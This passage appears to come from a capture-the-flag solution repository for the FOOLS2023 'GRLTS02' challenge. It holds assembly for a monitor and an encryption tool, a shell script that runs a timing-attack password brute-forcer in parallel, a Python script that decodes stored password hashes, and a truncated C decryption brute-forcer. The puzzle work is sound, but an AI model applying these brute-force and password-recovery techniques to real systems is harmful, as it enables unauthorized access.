ldrb_r0_r3 |
||||
|
|
||||
|
# Read file size |
||||
|
inc_r3 |
||||
|
ldr_r1_r3 |
||||
|
|
||||
|
# Read file into memory |
||||
|
push_r1 |
||||
|
ld_r1 mem_e000 |
||||
|
copr_readblk |
||||
|
|
||||
|
# Prompt for address to write to |
||||
|
ld_r2 str_prompt_address |
||||
|
call PrintStr |
||||
|
ld_r2 mem_efe0 |
||||
|
ld_r3 0x10 |
||||
|
call ReadStr |
||||
|
ld_r2 mem_efe0 |
||||
|
call ConvertHex |
||||
|
pop_r1 |
||||
|
cp_r0 -1 |
||||
|
jp_eq cmd_readfile_error_invalid_input |
||||
|
|
||||
|
# Copy the data |
||||
|
ld_r2_r0 |
||||
|
ld_r3 mem_e000 |
||||
|
call MemCpy |
||||
|
|
||||
|
ld_r2 str_loaded |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_readfile_error_not_found: |
||||
|
ld_r2 str_error_not_found |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_readfile_error_too_long: |
||||
|
ld_r2 str_error_too_long |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_readfile_error_invalid_input: |
||||
|
ld_r2 str_error_invalid_input |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
str_intro: |
||||
|
.ascii "======================================================================\r\n" |
||||
|
.ascii "Welcome to Glitch Research Laboratory Network: Test Server 2 (GRLTS02)\r\n" |
||||
|
.ascii "======================================================================\r\n" |
||||
|
.ascii "This machine requires authentication.\r\n\0" |
||||
|
|
||||
|
str_error_too_long: |
||||
|
.ascii "! Input too long error.\n\0" |
||||
|
|
||||
|
str_error_bad_command: |
||||
|
.ascii "! Bad command error (h for help).\n\0" |
||||
|
|
||||
|
str_error_invalid_input: |
||||
|
.ascii "! Invalid input error.\n\0" |
||||
|
|
||||
|
str_prompt_address: |
||||
|
.ascii "> Which address? \0" |
||||
|
|
||||
|
str_prompt_lines: |
||||
|
.ascii "> How many lines? \0" |
||||
|
|
||||
|
str_prompt_exec: |
||||
|
.ascii "> Really exec at " |
||||
|
text_ram_word mem_addr |
||||
|
.ascii "? Type Y if so: \0" |
||||
|
|
||||
|
str_error_cancelled: |
||||
|
.ascii "! Cancelled action error.\n\0" |
||||
|
|
||||
|
str_continuing: |
||||
|
.ascii "Continuing.\n\0" |
||||
|
|
||||
|
str_loaded: |
||||
|
.ascii "Loaded.\n\0" |
||||
|
|
||||
|
str_dry_stack: |
||||
|
.ascii "! Dry stack. Halting machine.\n\0" |
||||
|
|
||||
|
str_prompt_filename: |
||||
|
.ascii "> Filename? \0" |
||||
|
|
||||
|
str_error_not_found: |
||||
|
.ascii "! File not found error.\n\0" |
||||
|
|
||||
|
str_prompt_hex: |
||||
|
.ascii "> Enter hex data. End with dot \".\" + newline:\n\0" |
||||
|
|
||||
|
str_undoc: |
||||
|
.ascii "Wow, undocumented monitor command! FOOLS2023_{Secret" |
||||
|
text_ram_word 0xe000 |
||||
|
.ascii "x" |
||||
|
text_ram_word 0xe001 |
||||
|
.ascii "Command}\n\0" |
||||
|
|
||||
|
str_help: |
||||
|
.ascii "Available commands:\n" |
||||
|
.ascii "r :: print memory as hex\n" |
||||
|
.ascii "p :: print memory as text\n" |
||||
|
.ascii "w :: write hex data to memory\n" |
||||
|
.ascii "x :: execute memory\n" |
||||
|
.ascii "rf :: load memory from file\n" |
||||
|
.ascii "ls :: print file index\n" |
||||
|
.ascii "h :: print this help message\n" |
||||
|
.ascii "c :: exit monitor and continue\n" |
||||
|
.ascii "Please enter hex numbers when prompted.\n" |
||||
|
.ascii "If necessary for debugging, you can break into monitor\n" |
||||
|
.ascii "with instruction BRK (0x00) and continue with 'c'\n" |
||||
|
.ascii "Note: memory region E000-FFFF is used by monitor\n\0" |
||||
|
|
||||
|
str_file_list_header: |
||||
|
.ascii "BLK SIZE NAME\n" |
||||
|
.ascii "=======================\n\0" |
||||
|
|
||||
|
str_file_list_entry: |
||||
|
text_ram_byte mem_data |
||||
|
.ascii " " |
||||
|
text_ram_word mem_addr |
||||
|
.ascii " \0" # 0xfa97 |
||||
|
|
||||
|
str_ready: |
||||
|
.ascii "Ready.\n" |
||||
|
.ascii "> \0" |
||||
|
|
||||
|
str_breakpoint: |
||||
|
.ascii "*** BREAK INTO MONITOR AT $" |
||||
|
text_ram_word mem_info_pc |
||||
|
.ascii " ***\n" |
||||
|
.ascii "R0=$" |
||||
|
text_ram_word mem_save_r0 |
||||
|
.ascii " R1=$" |
||||
|
text_ram_word mem_save_r1 |
||||
|
.ascii " R2=$" |
||||
|
text_ram_word mem_save_r2 |
||||
|
.ascii " R3=$" |
||||
|
text_ram_word mem_save_r3 |
||||
|
.ascii "\n" |
||||
|
.ascii "SP=$" |
||||
|
text_ram_word mem_info_sp |
||||
|
.ascii " [" |
||||
|
text_ram_byte mem_info_stack + 0 |
||||
|
text_ram_byte mem_info_stack + 1 |
||||
|
text_ram_byte mem_info_stack + 2 |
||||
|
text_ram_byte mem_info_stack + 3 |
||||
|
text_ram_byte mem_info_stack + 4 |
||||
|
text_ram_byte mem_info_stack + 5 |
||||
|
text_ram_byte mem_info_stack + 6 |
||||
|
text_ram_byte mem_info_stack + 7 |
||||
|
text_ram_byte mem_info_stack + 8 |
||||
|
text_ram_byte mem_info_stack + 9 |
||||
|
text_ram_byte mem_info_stack + 10 |
||||
|
text_ram_byte mem_info_stack + 11 |
||||
|
.ascii "]\n\0" |
||||
|
|
||||
|
str_hexdump: |
||||
|
text_ram_word mem_addr |
||||
|
.ascii " | " |
||||
|
text_ram_byte mem_data + 0 |
||||
|
.ascii " " |
||||
|
text_ram_byte mem_data + 1 |
||||
|
.ascii " " |
||||
|
text_ram_byte mem_data + 2 |
||||
|
.ascii " " |
||||
|
text_ram_byte mem_data + 3 |
||||
|
.ascii " " |
||||
|
text_ram_byte mem_data + 4 |
||||
|
.ascii " " |
||||
|
text_ram_byte mem_data + 5 |
||||
|
.ascii " " |
||||
|
text_ram_byte mem_data + 6 |
||||
|
.ascii " " |
||||
|
text_ram_byte mem_data + 7 |
||||
|
.ascii "\n\0" |
||||
|
|
||||
|
mem_save_r0: |
||||
|
.2byte 0 |
||||
|
|
||||
|
mem_save_r1: |
||||
|
.2byte 0 |
||||
|
|
||||
|
mem_save_r2: |
||||
|
.2byte 0 |
||||
|
|
||||
|
mem_save_r3: |
||||
|
.2byte 0 |
||||
|
|
||||
|
mem_info_sp: |
||||
|
.2byte 0 |
||||
|
|
||||
|
mem_info_pc: |
||||
|
.2byte 0 |
||||
|
|
||||
|
mem_info_stack: |
||||
|
.fill 12 |
||||
|
|
||||
|
mem_data: |
||||
|
.fill 8 |
||||
|
|
||||
|
mem_addr: |
||||
|
.2byte 0 |
||||
|
|
||||
|
.fill 0xf00 - (. - _start) |
||||
|
stack: |
||||
|
.fill 0xf0 |
||||
|
|
||||
|
entry: |
||||
|
.fill 0x10 |
@ -0,0 +1,190 @@ |
|||||
|
.include "instr.inc" |
||||
|
.text |
||||
|
|
||||
|
.global _start |
||||
|
_start: |
||||
|
# Get the address of the start of the program |
||||
|
push_pc |
||||
|
pop_r3 |
||||
|
|
||||
|
# Display the introduction |
||||
|
ld_r2_r3 |
||||
|
add_r2 (str_intro - _start) |
||||
|
push_r3 |
||||
|
call PrintStr |
||||
|
pop_r3 |
||||
|
|
||||
|
# Bail if we're not running from the correct address |
||||
|
cp_r3 _start |
||||
|
jp_eq main |
||||
|
ld_r2_r3 |
||||
|
add_r2 (str_wrong_address - _start) |
||||
|
jp PrintStr |
||||
|
|
||||
|
main: |
||||
|
# Gather the password string |
||||
|
ld_r2 mem_input |
||||
|
ld_r1 18 |
||||
|
ld_r0 0 |
||||
|
call MemSet |
||||
|
ld_r2 str_password_prompt |
||||
|
call PrintStr |
||||
|
ld_r2 mem_input |
||||
|
ld_r3 15 |
||||
|
call ReadStr |
||||
|
ld_r2 mem_input |
||||
|
call StrTrim |
||||
|
|
||||
|
# Hash the string |
||||
|
ld_r2 mem_input |
||||
|
ld_r0 0x9fc0 |
||||
|
|
||||
|
hash_loop: |
||||
|
ldr_r1_r2 |
||||
|
inc_r2 |
||||
|
cp_r1 0 |
||||
|
|
||||
|
# r0 = (((r0 * 2) ^ r1) * 2) + r1 |
||||
|
shl_r0 |
||||
|
xor_r0_r1 |
||||
|
shl_r0 |
||||
|
add_r0_r1 |
||||
|
|
||||
|
jp_eq decrypt |
||||
|
jp hash_loop |
||||
|
|
||||
|
decrypt: |
||||
|
# Initialize memory |
||||
|
str_r0 mem_hash |
||||
|
ld_r3 mem_encrypted |
||||
|
ld_r2 mem_decrypted |
||||
|
ld_r1 0x200 |
||||
|
call MemCpy |
||||
|
|
||||
|
# Decrypt the entire buffer |
||||
|
ld_r2 mem_decrypted |
||||
|
ld_r3 0x200 / 2 |
||||
|
|
||||
|
decrypt_loop: |
||||
|
call update_hash |
||||
|
|
||||
|
# *r2 -= mem_hash |
||||
|
ld_r1_r0 |
||||
|
ldr_r0_r2 |
||||
|
xor_r0_r1 |
||||
|
str_r0_r2 |
||||
|
|
||||
|
inc_r2 |
||||
|
inc_r2 |
||||
|
dec_r3 |
||||
|
cp_r3 0 |
||||
|
jp_ne decrypt_loop |
||||
|
|
||||
|
# Print out the results |
||||
|
ld_r2 str_result_start |
||||
|
call PrintStr |
||||
|
ld_r2 mem_decrypted |
||||
|
call PrintStr |
||||
|
ld_r2 str_result_end |
||||
|
call PrintStr |
||||
|
ret |
||||
|
|
||||
|
update_hash: |
||||
|
# mem_hash = (mem_hash * 0x41a7) ^ 0x5555 |
||||
|
ldr_r0 mem_hash |
||||
|
mul_r0 0x41a7 |
||||
|
xor_r0 0x5555 |
||||
|
str_r0 mem_hash |
||||
|
ret |
||||
|
|
||||
|
str_intro: |
||||
|
.ascii "GLITCH RESEARCH LABORATORY SELF-CONTAINED ENCRYPTION TOOL\n\0" |
||||
|
|
||||
|
str_wrong_address: |
||||
|
.ascii "PLEASE LOAD ME AT ADDRESS $2000... (EXITING)\n\0" |
||||
|
|
||||
|
str_password_prompt: |
||||
|
.ascii "PLEASE ENTER ENCRYPTION PASSWORD: \0" |
||||
|
|
||||
|
str_result_start: |
||||
|
.ascii "HERE IS THE ENCRYPTED DOCUMENT: " |
||||
|
str_result_end: |
||||
|
.ascii "\n--\n\0" |
||||
|
|
||||
|
mem_input: |
||||
|
.ascii "________________\0\0" |
||||
|
|
||||
|
mem_hash: |
||||
|
.ascii "__" |
||||
|
|
||||
|
# Padding |
||||
|
.ascii "33333333" |
||||
|
|
||||
|
mem_encrypted: |
||||
|
.byte 0xfb, 0x72, 0x3a, 0x22, 0x21, 0x4b, 0x6a, 0xc2 |
||||
|
.byte 0x28, 0xe6, 0xe4, 0xc1, 0xa7, 0x25, 0xb6, 0xe0 |
||||
|
.byte 0x98, 0xb2, 0x0a, 0xe0, 0x9b, 0xab, 0xc1, 0x84 |
||||
|
.byte 0xb8, 0x2d, 0x8f, 0xd8, 0x7e, 0x07, 0x3a, 0xcb |
||||
|
.byte 0xc9, 0xf0, 0xf5, 0x38, 0x51, 0x43, 0xed, 0x52 |
||||
|
.byte 0xf8, 0x44, 0xe4, 0xc2, 0x50, 0x22, 0x27, 0x2a |
||||
|
.byte 0x65, 0x44, 0x81, 0x79, 0xc2, 0x6c, 0xb4, 0xaf |
||||
|
.byte 0xd9, 0x9d, 0x7c, 0x74, 0xb3, 0x58, 0xea, 0xcd |
||||
|
.byte 0x69, 0xe2, 0xa2, 0xdf, 0xe7, 0xca, 0xc4, 0x65 |
||||
|
.byte 0xe0, 0xe8, 0xf3, 0xbe, 0xee, 0x97, 0x68, 0xad |
||||
|
.byte 0x61, 0x0e, 0x27, 0x78, 0x32, 0x86, 0x6d, 0x5c |
||||
|
.byte 0x02, 0xc2, 0x6e, 0xd1, 0xdf, 0x93, 0x14, 0x4d |
||||
|
.byte 0xcb, 0x1a, 0x90, 0xf4, 0x20, 0x95, 0xc0, 0xd3 |
||||
|
.byte 0x1d, 0xe8, 0x73, 0x2b, 0xdb, 0xaf, 0xae, 0x74 |
||||
|
.byte 0x7a, 0x1d, 0x50, 0x4a, 0xa6, 0x9d, 0x56, 0xcc |
||||
|
.byte 0xb5, 0x5d, 0x07, 0xd1, 0x04, 0xa7, 0x16, 0x5c |
||||
|
.byte 0x1d, 0x40, 0x4e, 0x65, 0x51, 0xf2, 0x68, 0x0a |
||||
|
.byte 0x4a, 0xb3, 0x56, 0x56, 0xc1, 0x51, 0x1f, 0x0f |
||||
|
.byte 0xc2, 0x7d, 0x4b, 0x29, 0x5b, 0x58, 0x1d, 0x2f |
||||
|
.byte 0xff, 0x66, 0xc0, 0x3c, 0xbb, 0xbb, 0x34, 0x93 |
||||
|
.byte 0x30, 0xe6, 0x34, 0xb7, 0x8d, 0xd4, 0x4a, 0xa3 |
||||
|
.byte 0xd7, 0x88, 0x00, 0x72, 0xba, 0x13, 0x0c, 0x4d |
||||
|
.byte 0x97, 0x46, 0xe0, 0xbb, 0x07, 0xa6, 0xef, 0xfa |
||||
|
.byte 0x12, 0x0a, 0xfe, 0x56, 0xe9, 0x14, 0x2b, 0xda |
||||
|
.byte 0x64, 0x3c, 0xfe, 0xc5, 0x3c, 0xa3, 0x50, 0x02 |
||||
|
.byte 0x20, 0xb7, 0x20, 0x05, 0x3d, 0xdb, 0xf1, 0x8a |
||||
|
.byte 0x81, 0x41, 0x4c, 0x24, 0x52, 0x38, 0x8f, 0xb9 |
||||
|
.byte 0x7e, 0x2e, 0x6f, 0x76, 0x1c, 0x3f, 0x97, 0x87 |
||||
|
.byte 0x16, 0xd5, 0xd3, 0xc9, 0x70, 0x92, 0xd7, 0xd2 |
||||
|
.byte 0x47, 0x59, 0xe6, 0x87, 0x12, 0x2c, 0xe0, 0xa5 |
||||
|
.byte 0x6c, 0x17, 0x9c, 0xbe, 0xee, 0xe4, 0xd4, 0x50 |
||||
|
.byte 0xea, 0x94, 0x57, 0x91, 0x4f, 0xb1, 0x57, 0xaa |
||||
|
.byte 0x46, 0xe9, 0x86, 0x76, 0xd3, 0xf8, 0xb9, 0xa5 |
||||
|
.byte 0x8c, 0x9c, 0x57, 0x56, 0x0a, 0x72, 0x48, 0xc8 |
||||
|
.byte 0x14, 0xb6, 0x8b, 0xf2, 0x48, 0x3c, 0x4d, 0xb5 |
||||
|
.byte 0x3a, 0x48, 0x07, 0xa6, 0xf2, 0x8e, 0xa3, 0x0b |
||||
|
.byte 0x39, 0x02, 0x75, 0x9b, 0xc8, 0xdc, 0x6f, 0x0a |
||||
|
.byte 0x75, 0x00, 0x52, 0x6d, 0xbf, 0x77, 0x89, 0x2f |
||||
|
.byte 0xce, 0xb0, 0x27, 0xef, 0x42, 0x1e, 0x36, 0xe1 |
||||
|
.byte 0x37, 0xc6, 0xf7, 0x77, 0x34, 0x1d, 0x6a, 0xd3 |
||||
|
.byte 0xa7, 0x48, 0x6a, 0xc1, 0x7d, 0xe7, 0x76, 0x8c |
||||
|
.byte 0x62, 0x8f, 0x62, 0x8c, 0x5c, 0xe4, 0xf1, 0xf3 |
||||
|
.byte 0xfd, 0x5f, 0xb6, 0x9d, 0xb4, 0xd7, 0xa8, 0xa0 |
||||
|
.byte 0xcd, 0xde, 0x8b, 0x72, 0x73, 0xe4, 0xfa, 0xe7 |
||||
|
.byte 0x33, 0x8f, 0x11, 0x1e, 0xaf, 0xd3, 0x40, 0xa7 |
||||
|
.byte 0x86, 0x26, 0xf3, 0x77, 0x4c, 0x6e, 0x2d, 0x2d |
||||
|
.byte 0xa4, 0x03, 0xc2, 0x74, 0x2e, 0xb3, 0xdd, 0x85 |
||||
|
.byte 0x29, 0x41, 0x90, 0xc3, 0xc7, 0x3a, 0x96, 0xb9 |
||||
|
.byte 0x8e, 0x35, 0xcf, 0x37, 0xc0, 0xc8, 0xff, 0xd5 |
||||
|
.byte 0x8b, 0x9f, 0xa1, 0xd9, 0x0f, 0x8e, 0x8e, 0xc6 |
||||
|
.byte 0x11, 0xc1, 0xc0, 0xc9, 0x9e, 0x5b, 0x9c, 0xa1 |
||||
|
.byte 0x2d, 0xc6, 0x4b, 0xf5, 0x34, 0x65, 0xb4, 0xcc |
||||
|
.byte 0xac, 0x88, 0xbf, 0x49, 0x43, 0x77, 0xac, 0x8f |
||||
|
.byte 0x61, 0x71, 0x8e, 0x59, 0x7f, 0x78, 0xd9, 0x73 |
||||
|
.byte 0x41, 0x90, 0x73, 0x8b, 0x8e, 0x93, 0x3f, 0x6e |
||||
|
.byte 0xdd, 0x2e, 0x37, 0xe8, 0x72, 0x43, 0xa1, 0xf3 |
||||
|
.byte 0xa9, 0xfe, 0x7f, 0x98, 0xf3, 0xa5, 0x98, 0x43 |
||||
|
.byte 0xe5, 0x60, 0xb9, 0x5d, 0xbd, 0xba, 0x3f, 0xae |
||||
|
.byte 0x71, 0xf6, 0xed, 0xc1, 0xfe, 0x8f, 0x2d, 0x15 |
||||
|
.byte 0xd9, 0xc6, 0xf7, 0x57, 0x83, 0x57, 0x7e, 0x10 |
||||
|
.byte 0xb6, 0xc3, 0x76, 0x29, 0xb1, 0x10, 0x12, 0x1e |
||||
|
.byte 0xea, 0xa1, 0x15, 0x81, 0x9c, 0x22, 0x5f, 0x8a |
||||
|
.byte 0xf3, 0xff, 0x1c, 0x37, 0x4e, 0x57, 0x1b, 0x26 |
||||
|
.byte 0x64, 0xb7, 0xca, 0x7c, 0xc8, 0x57, 0xd9, 0x57 |
||||
|
|
||||
|
mem_decrypted: |
||||
|
.fill 0x200, 1, 0 |
@ -0,0 +1,264 @@ |
|||||
|
#!/bin/sh |
||||
|
|
||||
|
chars=" |
||||
|
3000 |
||||
|
3100 |
||||
|
3200 |
||||
|
3300 |
||||
|
3400 |
||||
|
3500 |
||||
|
3600 |
||||
|
3700 |
||||
|
3800 |
||||
|
3900 |
||||
|
|
||||
|
6100 |
||||
|
6200 |
||||
|
6300 |
||||
|
6400 |
||||
|
6500 |
||||
|
6600 |
||||
|
6700 |
||||
|
6800 |
||||
|
6900 |
||||
|
6a00 |
||||
|
6b00 |
||||
|
6c00 |
||||
|
6d00 |
||||
|
6e00 |
||||
|
6f00 |
||||
|
7000 |
||||
|
7100 |
||||
|
7200 |
||||
|
7300 |
||||
|
7400 |
||||
|
7500 |
||||
|
7600 |
||||
|
7700 |
||||
|
7800 |
||||
|
7900 |
||||
|
7a00 |
||||
|
|
||||
|
4100 |
||||
|
4200 |
||||
|
4300 |
||||
|
4400 |
||||
|
4500 |
||||
|
4600 |
||||
|
4700 |
||||
|
4800 |
||||
|
4900 |
||||
|
4a00 |
||||
|
4b00 |
||||
|
4c00 |
||||
|
4d00 |
||||
|
4e00 |
||||
|
4f00 |
||||
|
5000 |
||||
|
5100 |
||||
|
5200 |
||||
|
5300 |
||||
|
5400 |
||||
|
5500 |
||||
|
5600 |
||||
|
5700 |
||||
|
5800 |
||||
|
5900 |
||||
|
5a00 |
||||
|
|
||||
|
2000 |
||||
|
2100 |
||||
|
2200 |
||||
|
2300 |
||||
|
2400 |
||||
|
2500 |
||||
|
2600 |
||||
|
2700 |
||||
|
2800 |
||||
|
2900 |
||||
|
2a00 |
||||
|
2b00 |
||||
|
2c00 |
||||
|
2d00 |
||||
|
2e00 |
||||
|
2f00 |
||||
|
3a00 |
||||
|
3b00 |
||||
|
3c00 |
||||
|
3d00 |
||||
|
3e00 |
||||
|
3f00 |
||||
|
4000 |
||||
|
5b00 |
||||
|
5c00 |
||||
|
5d00 |
||||
|
5e00 |
||||
|
5f00 |
||||
|
6000 |
||||
|
7b00 |
||||
|
7c00 |
||||
|
7d00 |
||||
|
7e00 |
||||
|
7f00 |
||||
|
8000 |
||||
|
8100 |
||||
|
8200 |
||||
|
8300 |
||||
|
8400 |
||||
|
8500 |
||||
|
8600 |
||||
|
8700 |
||||
|
8800 |
||||
|
8900 |
||||
|
8a00 |
||||
|
8b00 |
||||
|
8c00 |
||||
|
8d00 |
||||
|
8e00 |
||||
|
8f00 |
||||
|
9000 |
||||
|
9100 |
||||
|
9200 |
||||
|
9300 |
||||
|
9400 |
||||
|
9500 |
||||
|
9600 |
||||
|
9700 |
||||
|
9800 |
||||
|
9900 |
||||
|
9a00 |
||||
|
9b00 |
||||
|
9c00 |
||||
|
9d00 |
||||
|
9e00 |
||||
|
9f00 |
||||
|
a000 |
||||
|
a100 |
||||
|
a200 |
||||
|
a300 |
||||
|
a400 |
||||
|
a500 |
||||
|
a600 |
||||
|
a700 |
||||
|
a800 |
||||
|
a900 |
||||
|
aa00 |
||||
|
ab00 |
||||
|
ac00 |
||||
|
ad00 |
||||
|
ae00 |
||||
|
af00 |
||||
|
b000 |
||||
|
b100 |
||||
|
b200 |
||||
|
b300 |
||||
|
b400 |
||||
|
b500 |
||||
|
b600 |
||||
|
b700 |
||||
|
b800 |
||||
|
b900 |
||||
|
ba00 |
||||
|
bb00 |
||||
|
bc00 |
||||
|
bd00 |
||||
|
be00 |
||||
|
bf00 |
||||
|
c000 |
||||
|
c100 |
||||
|
c200 |
||||
|
c300 |
||||
|
c400 |
||||
|
c500 |
||||
|
c600 |
||||
|
c700 |
||||
|
c800 |
||||
|
c900 |
||||
|
ca00 |
||||
|
cb00 |
||||
|
cc00 |
||||
|
cd00 |
||||
|
ce00 |
||||
|
cf00 |
||||
|
d000 |
||||
|
d100 |
||||
|
d200 |
||||
|
d300 |
||||
|
d400 |
||||
|
d500 |
||||
|
d600 |
||||
|
d700 |
||||
|
d800 |
||||
|
d900 |
||||
|
da00 |
||||
|
db00 |
||||
|
dc00 |
||||
|
dd00 |
||||
|
de00 |
||||
|
df00 |
||||
|
e000 |
||||
|
e100 |
||||
|
e200 |
||||
|
e300 |
||||
|
e400 |
||||
|
e500 |
||||
|
e600 |
||||
|
e700 |
||||
|
e800 |
||||
|
e900 |
||||
|
ea00 |
||||
|
eb00 |
||||
|
ec00 |
||||
|
ed00 |
||||
|
ee00 |
||||
|
ef00 |
||||
|
f000 |
||||
|
f100 |
||||
|
f200 |
||||
|
f300 |
||||
|
f400 |
||||
|
f500 |
||||
|
f600 |
||||
|
f700 |
||||
|
f800 |
||||
|
f900 |
||||
|
fa00 |
||||
|
fb00 |
||||
|
fc00 |
||||
|
fd00 |
||||
|
fe00 |
||||
|
ff00 |
||||
|
|
||||
|
0100 |
||||
|
0200 |
||||
|
0300 |
||||
|
0400 |
||||
|
0500 |
||||
|
0600 |
||||
|
0700 |
||||
|
0800 |
||||
|
0900 |
||||
|
0b00 |
||||
|
0c00 |
||||
|
0d00 |
||||
|
0e00 |
||||
|
0f00 |
||||
|
1000 |
||||
|
1100 |
||||
|
1200 |
||||
|
1300 |
||||
|
1400 |
||||
|
1500 |
||||
|
1600 |
||||
|
1700 |
||||
|
1800 |
||||
|
1900 |
||||
|
1a00 |
||||
|
1b00 |
||||
|
1c00 |
||||
|
1d00 |
||||
|
1e00 |
||||
|
1f00 |
||||
|
" |
||||
|
|
||||
|
echo "$chars" | xxd -r -p | xargs -P16 -0 -I% ./timepwn_GRLTS02.py "$1"% |
@ -0,0 +1,46 @@ |
|||||
|
#!/usr/bin/env python3 |
||||
|
|
||||
|
# Only possible after dumping GRLTS02 monitor... |
||||
|
# See brute_GRLTS02.sh/timepwn_GRLTS02.py for the initial entry |
||||
|
|
||||
|
pass_arwen = [ |
||||
|
0xc6, 0x44, 0x99, 0xe3, 0xe9, 0x19, 0x0d, 0x07, 0x0d, 0x12, 0x79 |
||||
|
] |
||||
|
pass_shadow = [ |
||||
|
0xe9, 0x22, 0xd8, 0x7c, 0x3c, 0x07, 0x54, 0x2d, 0x5e, 0x53, 0x6a, 0xff, |
||||
|
0x80, 0x5e, 0xcd, 0xc8, 0xcf, 0xff, 0x44, 0x74, 0xc8, 0xd8, 0x4b |
||||
|
] |
||||
|
|
||||
|
enctable = open("../GRLTS02/ENCTABLE.BIN", "rb").read() |
||||
|
|
||||
|
sumtable = [] |
||||
|
for x in range(0x100): |
||||
|
b = enctable[x+0x000] |
||||
|
b += enctable[x+0x100] |
||||
|
b += enctable[x+0x200] |
||||
|
b += enctable[x+0x300] |
||||
|
b &= 0xff |
||||
|
sumtable.append(b) |
||||
|
|
||||
|
chars = b"{}*02357@BFLOSTXY_degilnps" |
||||
|
|
||||
|
def decode(pwd): |
||||
|
dec = bytearray() |
||||
|
for i, x in enumerate(pwd): |
||||
|
# candidates = "" |
||||
|
# for ni, y in enumerate(sumtable): |
||||
|
# if x == y: |
||||
|
# c = (ni - i) & 0xff |
||||
|
# if c < 0x20 or c >= 0x80: |
||||
|
# continue |
||||
|
# candidates += chr(c) |
||||
|
# print(candidates) |
||||
|
|
||||
|
for y in chars: |
||||
|
if sumtable[(y + i) & 0xff] == x: |
||||
|
dec.append(y) |
||||
|
break |
||||
|
return dec |
||||
|
|
||||
|
print(decode(pass_arwen).decode()) |
||||
|
print(decode(pass_shadow).decode()) |
@ -0,0 +1,146 @@ |
|||||
|
#define _GNU_SOURCE |
||||
|
#include <stdbool.h> |
||||
|
#include <stdint.h> |
||||
|
#include <stdio.h> |
||||
|
#include <string.h> |
||||
|
|
||||
|
const uint8_t data[] = { |
||||
|
0xfb, 0x72, 0x3a, 0x22, 0x21, 0x4b, 0x6a, 0xc2, |
||||
|
0x28, 0xe6, 0xe4, 0xc1, 0xa7, 0x25, 0xb6, 0xe0, |
||||
|
0x98, 0xb2, 0x0a, 0xe0, 0x9b, 0xab, 0xc1, 0x84, |
||||
|
0xb8, 0x2d, 0x8f, 0xd8, 0x7e, 0x07, 0x3a, 0xcb, |
||||
|
0xc9, 0xf0, 0xf5, 0x38, 0x51, 0x43, 0xed, 0x52, |
||||
|
0xf8, 0x44, 0xe4, 0xc2, 0x50, 0x22, 0x27, 0x2a, |
||||
|
0x65, 0x44, 0x81, 0x79, 0xc2, 0x6c, 0xb4, 0xaf, |
||||
|
0xd9, 0x9d, 0x7c, 0x74, 0xb3, 0x58, 0xea, 0xcd, |
||||
|
0x69, 0xe2, 0xa2, 0xdf, 0xe7, 0xca, 0xc4, 0x65, |
||||
|
0xe0, 0xe8, 0xf3, 0xbe, 0xee, 0x97, 0x68, 0xad, |
||||
|
0x61, 0x0e, 0x27, 0x78, 0x32, 0x86, 0x6d, 0x5c, |
||||
|
0x02, 0xc2, 0x6e, 0xd1, 0xdf, 0x93, 0x14, 0x4d, |
||||
|
0xcb, 0x1a, 0x90, 0xf4, 0x20, 0x95, 0xc0, 0xd3, |
||||
|
0x1d, 0xe8, 0x73, 0x2b, 0xdb, 0xaf, 0xae, 0x74, |
||||
|
0x7a, 0x1d, 0x50, 0x4a, 0xa6, 0x9d, 0x56, 0xcc, |
||||
|
0xb5, 0x5d, 0x07, 0xd1, 0x04, 0xa7, 0x16, 0x5c, |
||||
|
0x1d, 0x40, 0x4e, 0x65, 0x51, 0xf2, 0x68, 0x0a, |
||||
|
0x4a, 0xb3, 0x56, 0x56, 0xc1, 0x51, 0x1f, 0x0f, |
||||
|
0xc2, 0x7d, 0x4b, 0x29, 0x5b, 0x58, 0x1d, 0x2f, |
||||
|
0xff, 0x66, 0xc0, 0x3c, 0xbb, 0xbb, 0x34, 0x93, |
||||
|
0x30, 0xe6, 0x34, 0xb7, 0x8d, 0xd4, 0x4a, 0xa3, |
||||
|
0xd7, 0x88, 0x00, 0x72, 0xba, 0x13, 0x0c, 0x4d, |
||||
|
0x97, 0x46, 0xe0, 0xbb, 0x07, 0xa6, 0xef, 0xfa, |
||||
|
0x12, 0x0a, 0xfe, 0x56, 0xe9, 0x14, 0x2b, 0xda, |
||||
|
0x64, 0x3c, 0xfe, 0xc5, 0x3c, 0xa3, 0x50, 0x02, |
||||
|
0x20, 0xb7, 0x20, 0x05, 0x3d, 0xdb, 0xf1, 0x8a, |
||||
|
0x81, 0x41, 0x4c, 0x24, 0x52, 0x38, 0x8f, 0xb9, |
||||
|
0x7e, 0x2e, 0x6f, 0x76, 0x1c, 0x3f, 0x97, 0x87, |
||||
|
0x16, 0xd5, 0xd3, 0xc9, 0x70, 0x92, 0xd7, 0xd2, |
||||
|
0x47, 0x59, 0xe6, 0x87, 0x12, 0x2c, 0xe0, 0xa5, |
||||
|
0x6c, 0x17, 0x9c, 0xbe, 0xee, 0xe4, 0xd4, 0x50, |
||||
|
0xea, 0x94, 0x57, 0x91, 0x4f, 0xb1, 0x57, 0xaa, |
||||
|
0x46, 0xe9, 0x86, 0x76, 0xd3, 0xf8, 0xb9, 0xa5, |
||||
|
0x8c, 0x9c, 0x57, 0x56, 0x0a, 0x72, 0x48, 0xc8, |
||||
|
0x14, 0xb6, 0x8b, 0xf2, 0x48, 0x3c, 0x4d, 0xb5, |
||||
|
0x3a, 0x48, 0x07, 0xa6, 0xf2, 0x8e, 0xa3, 0x0b, |
||||
|
0x39, 0x02, 0x75, 0x9b, 0xc8, 0xdc, 0x6f, 0x0a, |
||||
|
0x75, 0x00, 0x52, 0x6d, 0xbf, 0x77, 0x89, 0x2f, |
||||
|
0xce, 0xb0, 0x27, 0xef, 0x42, 0x1e, 0x36, 0xe1, |
||||
|
0x37, 0xc6, 0xf7, 0x77, 0x34, 0x1d, 0x6a, 0xd3, |
||||
|
0xa7, 0x48, 0x6a, 0xc1, 0x7d, 0xe7, 0x76, 0x8c, |
||||
|
0x62, 0x8f, 0x62, 0x8c, 0x5c, 0xe4, 0xf1, 0xf3, |
||||
|
0xfd, 0x5f, 0xb6, 0x9d, 0xb4, 0xd7, 0xa8, 0xa0, |
||||
|
0xcd, 0xde, 0x8b, 0x72, 0x73, 0xe4, 0xfa, 0xe7, |
||||
|
